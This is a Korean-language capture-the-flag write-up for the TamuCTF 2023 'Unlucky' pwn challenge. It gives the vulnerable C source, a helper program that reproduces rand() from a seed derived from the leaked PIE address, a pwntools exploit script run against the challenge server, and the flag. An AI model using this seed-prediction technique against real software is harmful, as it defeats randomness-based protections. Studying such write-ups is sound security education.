Tamu CTF 2023 - Unlocky (pwn, seed, rand)

Luck won’t save you here. Have fun trying to get the flag!
Author: nhwn

  • [102 solves / 398 points]

Analysis

바이너리와 c파일을 준다. 친절하다.

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>

int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

static int seed = 69;
srand(&seed);

printf("Here's a lucky number: %p\n", &main);

int lol = 1;
int input = 0;
for (int i = 1; i <= 7; ++i) {
printf("Enter lucky number #%d:\n", i);
scanf("%d", &input);
if (rand() != input) {
lol = 0;
}
}

if (lol) {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
fread(flag, 1, sizeof(flag), f);
printf("Nice work, here's the flag: %s\n", flag);
} else {
puts("How unlucky :pensive:");
}
}

pie가 걸려있는데 main을 출력해준다. 이것으로 pie base를 구할 수 있다.

rand()를 예측하면 flag를 획득할 수 있다. 여기서 취약점은 seed가 고정되어 있어서 rand()를 예측할 수 있다. 이를 위해 c파일을 하나 만들어서 예측한 rand() 값을 받아와서 입력으로 넣어주면 될 듯 하다.

Solve

rand()를 예측하기 위해 아래와 같은 c파일을 만들어서 컴파일한다. 우리는 문제 바이너리의 seed값 주소를 구소해서 인자로 넘겨주고 srand() 함수 인자로 사용해야 한다. 그리고 문제 바이너리에서 rand() 값을 7번 맞추는 것을 요구했기 때문에 이것을 그대로 c로 구현해준다. 잊지말아야할 것은 파이썬 스크립트에서 방금 만든 바이너리의 출력값을 받아와야한다는 사실이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// gcc 1.c
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char* argv[])
{
// printf("%d\n", atoi(argv[1]));
srand(atoi(argv[1]));
int random = rand();
printf("%d\n", random);

int random1 = rand();
printf("%d\n", random1);

int random2 = rand();
printf("%d\n", random2);

int random3 = rand();
printf("%d\n", random3);

int random4 = rand();
printf("%d\n", random4);

int random5 = rand();
printf("%d\n", random5);

int random6 = rand();
printf("%d\n", random6);
return 0;
}

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import subprocess

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
# p = process('./unlucky')
e = ELF('./unlucky')

p.recvuntil('0x')
e.address = int(p.recvline(), 16) - 0x11a5

seed = e.address + 0x4068
print(seed)
random = subprocess.check_output(['./a.out', str(seed)]).strip().split(b'\n')
random = [int(i) for i in random]
print(random)

p.sendline(str(random[0]))
p.sendline(str(random[1]))
p.sendline(str(random[2]))
p.sendline(str(random[3]))
p.sendline(str(random[4]))
p.sendline(str(random[5]))
p.sendline(str(random[6]))

p.interactive()

Flag

1
gigem{1_n33d_b3tt3r_3ntr0py_s0urc3s}